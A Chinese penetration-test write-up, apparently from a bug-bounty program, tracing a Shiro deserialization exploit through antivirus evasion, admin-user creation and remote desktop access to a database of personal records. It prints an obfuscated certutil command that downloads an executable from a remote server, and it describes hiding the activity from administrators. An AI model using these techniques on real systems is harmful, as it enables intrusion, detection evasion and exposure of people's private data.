记一次Shiro反序列化到远程桌面

简介: 记一次Shiro反序列化到远程桌面

感谢朋友@Sin的投稿,这篇文章记录的是他如何发现、利用Shiro反序列化漏洞,又是怎样绕过火绒安全防护实现文件落地、添加管理员,最后进入远程桌面,以及在测试过程中遇到的一些坑。




首先在奇安信hunter上搜索找到该SRC的有关资产(具体我就不放了),然后通过微步来搜索子域名找到今天的测试站点。


然后利用xray中检测到该站点存在Shiro反序列化漏洞


于是考虑直接用feihong的反序列话工具,但是这次feihong的反序列化工具只检测出key,gatget没有检测出来,咨询了同事琛哥后,故考虑到是因为工具很久没更新,需要找一条CB的链,啪的一下回车


直接开冲,先看下系统中是否存在杀毒软件,一目了然,系统中存在火绒杀毒软件。


在确定了目标系统存在火绒后我第一时间尝试了hta上线,相关文章内容:记一次绕过火绒安全提权实战案例


不过很可惜这个方法我在本地多次尝试后发现火绒已经对这个方法进行了拦截和查杀。


后续和3h师傅交流应该是对文件的特征进行了查杀,不过也没有在深一步探索绕过的方法。


题外话:这里测试的时候有一个小坑,感觉是工具的问题,工具在执行需要大量回显的数据包时会卡死,需要重新启动工具再执行一次命令才行。


这里绕过火绒选择了certutil远程下载方式,常规的cerutil直接下载肯定是不行的,于是想到了以前群里有师傅发过的变形版的certutil绕过方式。在本地测试后发现火绒没有拦截该命令,此时激动的小手已经焦躁不安。

    "c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe


    题外话:发现目标系统不解析我vps的IP,搞得我晚上凌晨还在四处找人要VPS,感觉还是得随时准备一台国内的vps和国外的一台vps。


    在找到vps后,先在工具上ping了一下vps的IP地址


    可以解析到ip美滋滋,不过在下载之前还是最好看看目标服务器最近的登陆时间,以免被发现


    直接开冲,首先在vps上启动一个临时的python web,命令如下。

      python -m SimpleHTTPServer 8888


      然后先在本地测试一下,看看可不可以下载下来,OK,没问题!


      现在直接到工具中在目标系统上执行,成功落地到当前路径下。


      执行dir命令查看是否成功下载到当前目录下


      运行文件后上线


      查看系统版本


      因为是高版本所以获取不到明文信息


      所以还有两个办法去远程连接, 一个是上传远控软件,另外一个就是直接添加用户。


      先看第一个吧,使用截屏命令看看是否处于锁屏状态


      由此可以判断当前机器应该是在锁屏中,所以这里只能我们自己添加一个用户上去。因为机器中存在火绒,所以还需要bypass火绒添加用户上去,方法我就暂时不放出来了(还请各位师傅见谅哈)


      用户加入完成后就可以进行远程桌面连接了,这里为了避免机器告警,我们还需要把3389转发出来。


      现在即可进行连接了


      然后进来后翻到了一个配置文件,里面有数据库的信息


      Mysql连接看看

      随便看一个表,好家伙,身份证,生日,姓名等等个人信息全部都有,就先不深入了,等进一步授权再搞。


      相关文章
      |
      数据安全/隐私保护 虚拟化 Windows
      如何在 VM 虚拟机中安装 Windows 7 操作系统保姆级教程(附链接)
      如何在 VM 虚拟机中安装 Windows 7 操作系统保姆级教程(附链接)
      如何在 VM 虚拟机中安装 Windows 7 操作系统保姆级教程(附链接)
      |
      开发框架 安全 应用服务中间件
      【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
      【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
      851 9
      |
      存储 算法 安全
      一文带你学习“国密算法”
      一文带你学习“国密算法”
      2491 3
      一文带你学习“国密算法”
      |
      安全 测试技术 Python
      XSS 检测神器:XSSfork 保姆级教程
      XSS 检测神器:XSSfork 保姆级教程
      XSS 检测神器:XSSfork 保姆级教程
      |
      Web App开发 移动开发 安全
      WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
      WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
      2619 1
      |
      容器 Cloud Native 安全
      CTF本地靶场搭建——基于阿里云ACR实现动态flag题型的创建
      本文介绍了如何利用阿里云ACR服务创建动态flag题型。阿里云容器镜像服务ACR是一个支持 OCI 标准的云原生制品托管和分发平台,提供全球化加速、大规模分发等功能,简化云原生应用交付。由于dockerhub访问不便,文章建议使用ACR作为替代。步骤包括在虚拟机内创建【GZCTF】->【WEB】->【src】文件夹,编写index.php和flag.sh文件,然后创建Dockerfile。接着,用户需在阿里云注册并使用ACR,构建、推送镜像,并在靶场部署动态容器。通过ACR,可以实现不同账号看到不同flag的动态更新,完成了动态flag题型的创建。
      |
      Rust 算法 数据安全/隐私保护
      【密码学】一文读懂SM3
      SM3是中华人民共和国政府采用的一种密码散列函数标准,前身为SCH4杂凑算法,由国家密码管理局于2010年12月17日发布,相关标准为"GM/T 0004-2012 《SM3密码杂凑算法》"。
      4702 0
      【密码学】一文读懂SM3
      |
      存储 人工智能 安全
      探秘英伟达显卡的制造之路 | 英伟达断供GPU,中国大模型何去何从?
      在当今时代,人工智能技术正以前所未有的速度发展,推动着各个领域的创新与变革。作为人工智能技术的核心引擎之一,高性能GPU扮演着至关重要的角色。在这个领域,英伟达的H100无疑是一款备受瞩目的高端产品。它针对高性能计算和人工智能应用而设计,具备强大的计算能力和高内存容量,以及先进的互连技术,可以有效提升集群中的计算效率,加速深度学习、计算机视觉、自然语言处理等领域的AI训练和推理任务。
      1460 0
      |
      供应链 安全 IDE
      Grafana 未经授权任意访问漏洞(CVE-2022-32275)
      Grafana 未经授权任意访问漏洞(CVE-2022-32275)
      Grafana 未经授权任意访问漏洞(CVE-2022-32275)
      |
      数据可视化 安全
      物流运输logo在线设计制作:三分钟教你搞定
      今天标小智来从物流logo图标、物流logo字体等多个角度分享物流运输logo设计干货,并为你准备了简单好看的交通物流logo设计案例模板,一起看看看吧!
      物流运输logo在线设计制作:三分钟教你搞定